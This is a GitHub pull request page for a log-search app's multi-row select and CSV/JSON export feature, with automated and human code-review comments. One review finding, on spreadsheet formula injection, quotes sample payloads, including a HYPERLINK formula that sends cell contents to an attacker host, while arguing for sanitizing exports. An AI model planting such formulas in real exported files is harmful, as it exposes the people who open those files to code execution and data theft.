Repository navigation
feat: Support search row multi-select download/copy - #3140
Conversation
🦋 Changeset detectedLatest commit: 79bd1d9 The changes in this PR will be included in the next version bump. This PR includes changesets to release 3 packages
Not sure what this means? Click here to learn what changesets are. Click here if you're a maintainer who wants to add another changeset to this PR |
|
The latest updates on your projects. Learn more about Vercel for GitHub.
|
|
E2E Test Results✅ All tests passed • 374 passed • 1 skipped • 1429s
Tests ran across 4 shards in parallel. |
492ad8b to
0dd045e
Compare
0dd045e to
b4ec1c5
Compare
b4ec1c5 to
8562753
Compare
3381471 to
f1b1ec6
Compare
🟡 Tier 3 — StandardIntroduces new logic, modifies core functionality, or touches areas with non-trivial risk. Why this tier:
Review process: Full human review — logic, architecture, edge cases. Stats
|
Deep ReviewReviewed the multi-row selection / CSV-JSON export feature against base ✅ No critical issues found. 🟡 P2 — recommended
🔵 P3 nitpicks (2)
Reviewers (11): correctness, testing, maintainability, project-standards, security, kieran-typescript, julik-frontend-races, adversarial, previous-comments, agent-native, learnings-researcher. Testing gaps: duplicate- No finding blocks merge automatically. A maintainer will expect P0/P1 findings in code this PR changes to be fixed; P2/P3 are your call -- fix or reply. Never fix findings about surrounding code here; reply instead. Do not widen the PR. How to respond |
PR Review
3 finding(s): 🔴 0 critical · 🟠 1 major · 🔵 2 minor 3 posted as inline comment(s) on the changed lines. Severity is the reviewer's own estimate and is used for ordering, not filtering. No finding blocks merge automatically; a maintainer decides. |
f1b1ec6 to
24dbfe3
Compare
| onToggle: (rowId: string, options: { extendRange: boolean }) => void; | ||
| }) => ( | ||
| <td className={styles.selectCell} style={CELL_WIDTH_STYLE}> | ||
| <Checkbox |
There was a problem hiding this comment.
I was very surprised/happy that shift click works to do multiple.. nice work! 🚀
| rowSelection.getSelectedRows | ||
| } | ||
| columns={csvColumns} | ||
| onClear={rowSelection.clearSelection} |
There was a problem hiding this comment.
Do you think we should call clearSelection when the user changes filters/date? it felt a bit weird that when I went back to the original search they were still selected.
Either that, or maybe we still show the selection header and its a feature that users can select things in multiple filters at once (ex exporting ok and error states so they can compare)
It feels more like we should clear though because currently if you select in the new view it discards your first options.. but if you go to a new filter, dont select, go back, it maintains
There was a problem hiding this comment.
Good call! Updated.
brandon-pereira
left a comment
There was a problem hiding this comment.
Added one comment, if you agree, I can re-review. Otherwise it LGTM
| next.set(rowId, rows[targetIndex]); | ||
| } | ||
|
|
||
| onSelectionChange?.(next.size > 0); |
There was a problem hiding this comment.
🔵 minor — onSelectionChange is invoked from inside the setSelection updater, so the parent's setIsLive can run during the table's render
State updaters must be pure: React invokes them during the render phase whenever the fiber already has a queued update (the eager-state fast path only applies when the queue is empty), and double-invokes them under StrictMode in dev. Both paths are reachable here — RawLogTable owns several other useState/useLocalStorage hooks, so a second click while an update is pending runs this updater during render, calling DBSearchPage's setIsLive(false) from inside a child's render ("Cannot update a component while rendering a different component"), and StrictMode calls onSelectionChange twice per toggle. Move the notification out of the updater — e.g. useEffect(() => onSelectionChange?.(selected.size > 0), [selected.size]) — which also covers the render-phase reset at line 56, where the callback is never fired at all today.
Advisory. Fix if it is a small defect in code this PR changes; otherwise reply in the thread. Do not widen the PR or touch files it did not already change. How to respond
|
|
||
| // Row selection is scoped to one result set, so anything that re-queries | ||
| // or changes the result set should reset the selection. | ||
| const selectionResetKey = useMemo( |
There was a problem hiding this comment.
🔵 minor — Adding or removing a displayed column silently discards the whole row selection
selectionResetKey stringifies all of searchedConfig, and select is part of queryStateMap (DBSearchPage.tsx:899); toggleColumn (DBSearchPage.tsx:1738) writes select and calls onSubmit(), so a user who selects 20 rows and then adds one column from the side panel — or clicks the X on a column header — loses the selection with no indication. Build the key from the fields that determine which rows come back (source, where, whereLanguage, filters, orderBy, time range, denoise) and leave the projection out. Worth noting the one case that genuinely needs a reset: when rowKeyColumns is undefined (no _block_number/_block_offset, DBRowTable.tsx:1506) the row id is derived from every selected column, so ids do change with select — reset explicitly for that case rather than for all.
Advisory. Fix if it is a small defect in code this PR changes; otherwise reply in the thread. Do not widen the PR or touch files it did not already change. How to respond
| </MantineTooltip> | ||
| </UnstyledButton> | ||
| )} | ||
| {enableRowSelection && ( |
There was a problem hiding this comment.
🔵 minor — The "N selected" menu is the feature's only affordance but lives inside the last column's header cell, which scrolls off-screen
lastItemButtons renders inside the last <th> (TableHeader.tsx:25, overflow-hidden, width clamped to MIN_LAST_COLUMN_WIDTH = 200px), and .tableHead is only vertically sticky. Once the columns exceed the container width — routine on the search page with the filter sidebar and row side panel open — the user must scroll horizontally to reach Download/Copy/Clear, and at 200px the ~90px button plus the existing wrap/SQL/download icons squeeze the column title out entirely. Render the selection bar in the table toolbar above the table (a sibling of TableSearchInput) so it stays reachable and doesn't compete with a resizable column header.
Advisory. Fix if it is a small defect in code this PR changes; otherwise reply in the thread. Do not widen the PR or touch files it did not already change. How to respond
| const rowId = getRowId(row); | ||
| if (selected.has(rowId)) { | ||
| // Prefer the freshly fetched row object over the snapshot. | ||
| loaded.push(row); |
There was a problem hiding this comment.
🔵 minor — Rows sharing a __hyperdx_id are exported once per duplicate, so the export can hold more rows than the count claims
The search table never passes dedupRows (DBRowTable.tsx:1896), so two rows whose WHERE clause is identical both render — reachable whenever rowKeyColumns is undefined and two log lines are byte-identical. Checking one then ticks both (isSelected is id-keyed), and getSelectedRows pushes every loaded row whose id is in selected, so selectedCount says 1 while the CSV/JSON carries 2 and the toast under-reports (Copied 1 row). Guard the loaded loop with seen (if (selected.has(rowId) && !seen.has(rowId))) so one selected id yields exactly one exported row.
Advisory. Fix if it is a small defect in code this PR changes; otherwise reply in the thread. Do not widen the PR or touch files it did not already change. How to respond
| ); | ||
|
|
||
| const rowData = JSON.stringify(parsedRow, null, 2); | ||
| const rowData = JSON.stringify(toExportableRow(row), null, 2); |
There was a problem hiding this comment.
🔵 minor — "Copy row as JSON" and "Copy selected rows as JSON" now emit different shapes for the same row
The selection menu passes the displayed column keys (RowSelectionMenu.tsx:47), so its JSON mirrors the table, while the per-row hover button calls toExportableRow(row) with no columns and therefore still includes the query's appended key columns (_block_number, _block_offset, toDate(Timestamp), …) that appendSelectWithAdditionalKeys added. Pass the displayed columns down to DBRowTableRowButtons (they're already available as csvColumns in RawLogTable) so both copy paths produce the same row.
Advisory. Fix if it is a small defect in code this PR changes; otherwise reply in the thread. Do not widen the PR or touch files it did not already change. How to respond
| next.set(rowId, rows[targetIndex]); | ||
| } | ||
|
|
||
| onSelectionChange?.(next.size > 0); |
There was a problem hiding this comment.
🟠 major — onSelectionChange is called from inside the setSelection updater, so it runs during render
Compute next before calling setSelection and invoke onSelectionChange?.(next.size > 0) outside the updater (or drive it from a useEffect on selected.size > 0). React treats useState updaters as pure and evaluates them during the render phase (plus eagerly in dispatchSetState when no update is pending, and twice under StrictMode), so on every checkbox click onSelectedRowsChange → setIsLive(false) (packages/app/src/DBSearchPage.tsx:1681, a nuqs useQueryState setter that pushes router state) is invoked more than once and at least once while RawLogTable is still rendering — React's "Cannot update a component while rendering a different component" error. Note clearSelection (line 62) already does it the right way.
Nothing blocks merge automatically, but a maintainer will expect this fixed if it is a real defect in code this PR changes. If it is about surrounding code, reply and say so instead of patching. Do not widen the PR. How to respond
| .trim() | ||
| .split(/\r?\n/); | ||
| // One header row plus one row per selection. | ||
| expect(lines).toHaveLength(3); |
There was a problem hiding this comment.
🔵 minor — Export tests assert row counts, never that the exported rows are the selected ones
Select non-adjacent rows (e.g. selectRows([1, 3])), read those rows' cells with table.getCell(1, 'Timestamp') / getCell(3, ...), and assert the CSV/JSON payload contains exactly those values. As written, expect(lines).toHaveLength(3) here and expect(rows).toHaveLength(2) at line 106 both pass if useRowSelection.getSelectedRows() returned rows.slice(0, 2) instead of the selection — i.e. the core behaviour of the PR is never pinned, only the row count and the absence of __hyperdx_ keys.
Advisory. Fix if it is a small defect in code this PR changes; otherwise reply in the thread. Do not widen the PR or touch files it did not already change. How to respond
|
|
||
| /** Serialize an array of objects to a CSV string. */ | ||
| export function toCsvString(rows: Record<string, any>[]): string { | ||
| return Papa.unparse(rows, { |
There was a problem hiding this comment.
🔵 minor — toCsvString does not neutralize spreadsheet formula injection in exported log content
Prefix values beginning with =, +, -, @, tab or CR with a ' before handing rows to Papa.unparse. A log Body of =cmd|'/c calc'!A1 or =HYPERLINK("http://attacker/"&A1) — content any service emitting into the customer's ClickHouse controls — is written verbatim and evaluated when the downloaded hyperdx_selected_rows_*.csv is opened in Excel. The behaviour is inherited from the old CsvExportButton body, but this diff makes utils/csv.ts the single home for CSV serialization and adds a new path (RowSelectionMenu's Download/Copy as CSV) that exports raw log rows rather than aggregated chart results, so this is the place to fix it.
Advisory. Fix if it is a small defect in code this PR changes; otherwise reply in the thread. Do not widen the PR or touch files it did not already change. How to respond
…3117) Resolves HDX-5365. > **Stacked on #3171.** Base is `cursor/fix-virtualized-row-height-d7eb`; it will retarget to `main` once that merges. See "Virtualized row heights" below. ## Why The only way to expand a search result row inline is the 16px chevron, which is a poor hit target when you are scanning logs during an incident. Comparable tools expand on row click. Rather than change what a row click does for everyone, this adds a preference. **The default is unchanged** — a row click still opens the side panel. Users who want the bigger hit target can opt in. ## What changed **Preferences → Search results → Row click**, defaulting to `Open side panel`. Set it to `Expand inline` and: - a row click toggles inline expansion instead of opening the side panel; - the side panel moves to a hover button on the row (`Open in side panel`, beside the existing copy buttons), and the expanded row's maximize button still opens it; - row clicks keep driving the side panel while it is open, so browsing row to row inside the panel is unchanged. Closing the panel returns clicks to inline expansion. Stored as an optional `rowClickAction`. Stored preferences that predate the field are returned as-is rather than merged with the defaults, so readers fall back to `DEFAULT_ROW_CLICK_ACTION`. Two table variants need care regardless of the preference: - Tables that hide the expand column (surrounding context, patterns) have nowhere to put inline details, so they always open the side panel. - The ClickHouse dashboard's slowest-queries list renders inline details but passes no `onRowDetailsClick`, so it always expands inline and offers neither the hover button nor the expanded row's maximize button — both would only write URL params nothing reads. Routing a row click needs to know whether a side panel is available and whether one is already open, and two signals did not actually mean that: - `highlightedLineId` was passed to the table even when the panel was not mounted. `rowWhere`/`rowSource` survive a source switch while closing the panel clears both, so a stale `rowWhere` left the table highlighting a row with no panel on screen. The panel is now hoisted into one `sidePanel` element that both its own mount and `highlightedLineId` derive from. - `ExpandedLogRow` gated its maximize button on `{openSidebar && …}`, the return value of a `useCallback` and so always truthy. It now takes `canOpenSidePanel`. `DBRowTableIconButton` also gained an `aria-label` from its title, which the row hover buttons had been missing. ## Virtualized row heights Reported against this branch: expand and collapse a few rows, scroll, and the table goes blank under the header. That bug is on `main` today — it reproduces identically through the chevron, with this PR's `packages/app/src` reverted. A row and its inline expansion are two `tr`s sharing one virtual index, and both were measured, so the expanded one took over that index's `ResizeObserver` registration and left its height cached there after collapsing. Every expand/collapse shrank the render window. Fixed separately in **#3171** so it lands for chevron users regardless of this PR, and merged in here so this branch does not ship the bigger hit target on top of it. That merge is the only reason `DBRowTable.tsx` now renders a `tbody` per row. ## Tests - Seven unit tests in `DBRowTable.test.tsx`: the side panel on row click by default (and no redundant hover button in that mode), then under `expand` — inline expand/collapse on body click, the hover button, `showExpandButton={false}`, and the open-panel case; plus the no-side-panel table expanding inline regardless of the preference. These are the first tests in that file to render virtualized body rows, hence the geometry mocks. - The inline-expand test also asserts the expanded row exposes `Open in side panel` and that clicking it writes the `rowWhere` param, so `canOpenSidePanel` is pinned in both directions — hardcoding it to `false` fails the test rather than staying green. - `UserPreferencesModal.test.tsx` drives the select: the default for users with no stored preference, a stored value round-tripping into the control, and picking an option writing `rowClickAction`. A wrong storage key or option value now fails instead of passing green. - E2E: the specs that reach the side panel go back to a plain row click, since that is the default again. A new `Row click set to expand inline` describe seeds the preference before navigating and asserts a row body click expands inline without opening the panel, collapses on a second click, and that the hover button opens the panel. - `virtualized-row-heights.spec.ts` comes in from #3171 and covers the virtualizer regression. ## Rebase onto `main` Rebased past #3140 and #3164, which added row multi-select and hover-revealed selection checkboxes to the same row component. No textual conflicts, and the two features compose: the checkbox lives in its own cell and stops propagation, so it does not compete with the row-body click. CI lint was failing only because this branch predated the `--max-warnings` bump on `main`. The rebase picks that up; the one warning this PR did add (an unsafe cast in the new `Select` handler) is gone, so the app count is back under the ceiling rather than exactly on it. Verification: `make ci-lint` and `make ci-unit` green (244 suites, 3948 tests after the merge). All 94 `search/` E2E tests re-run — 85 passed, 1 flaky-then-passed, and 2 `search-filters.spec.ts` failures that reproduce identically with this PR's `packages/app/src` reverted to `origin/main`, so they are environmental and not from this change. `correlated-metric-source`, `span-links` and `traces-workflow` also pass. ## Walkthrough The reported repro, end to end on this branch: two row clicks opening the side panel on the default setting, switching the preference to `Expand inline`, expanding and collapsing six rows, then scrolling — the table stays full. <a href="https://cursor.com/agents/bc-b2c91bdd-e466-447c-942d-dce15159d7eb/artifacts?path=%2Fopt%2Fcursor%2Fartifacts%2Fvirtualized_scroll_repro_fixed.mp4"><img src="https://cursor.com/artifacts/c/art-27481ff4-27fa-4bca-bbe1-3c2abee4f889" alt="virtualized_scroll_repro_fixed.mp4" /></a> Default — a row click opens the side panel, unchanged:  The opt-in:  With it on, a row click expands in place, with no side panel:  Hovering a row shows both features side by side — the selection checkbox on the left, and this PR's `Open in side panel` button among the row action icons on the right:  Linear Issue: [HDX-5365](https://linear.app/clickhouse/issue/HDX-5365/expand-log-inline-on-row-click) <div><a href="https://cursor.com/agents/bc-b2c91bdd-e466-447c-942d-dce15159d7eb?cursor_ref=pr_footer&cursor_cta=open_in_web"><picture><source media="(prefers-color-scheme: dark)" srcset="https://cursor.com/assets/images/open-in-web-dark.png"><source media="(prefers-color-scheme: light)" srcset="https://cursor.com/assets/images/open-in-web-light.png"><img alt="Open in Web" width="114" height="28" src="https://cursor.com/assets/images/open-in-web-dark.png"></picture></a> <a href="https://cursor.com/background-agent?bcId=bc-b2c91bdd-e466-447c-942d-dce15159d7eb&cursor_ref=pr_footer&cursor_cta=open_in_cursor"><picture><source media="(prefers-color-scheme: dark)" srcset="https://cursor.com/assets/images/open-in-cursor-dark.png"><source media="(prefers-color-scheme: light)" srcset="https://cursor.com/assets/images/open-in-cursor-light.png"><img alt="Open in Cursor" width="131" height="28" src="https://cursor.com/assets/images/open-in-cursor-dark.png"></picture></a> </div> Co-authored-by: Cursor Agent <199161495+cursoragent@users.noreply.github.com>
Summary
Support selecting multiple rows on the search page, for download and copy. Download and copy are both CSV format, for all columns displayed in the table, similar to the existing CSV download.
Screenshots or video
Screen.Recording.2026-09-16.at.4.01.05.PM.mov
How to test on Vercel preview
References